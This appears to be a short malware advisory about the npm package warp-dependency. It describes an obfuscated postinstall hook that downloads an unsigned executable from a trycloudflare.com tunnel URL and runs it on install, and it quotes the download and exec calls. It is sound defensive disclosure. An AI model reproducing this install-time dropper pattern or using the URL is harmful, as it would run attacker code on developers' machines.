warp-dependency@1.0.0 declares postinstall: node index.js in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (_0x345c/_0x1de1) that hides the download URL, target filename, and the require targets (fs-extra, node-fetch, child_process). When deobfuscated, the top-level code performs downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe') followed by child_process.exec('bss.exe',...), writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every npm install warp-dependency silently runs attacker-controlled native code on the installer's machine.
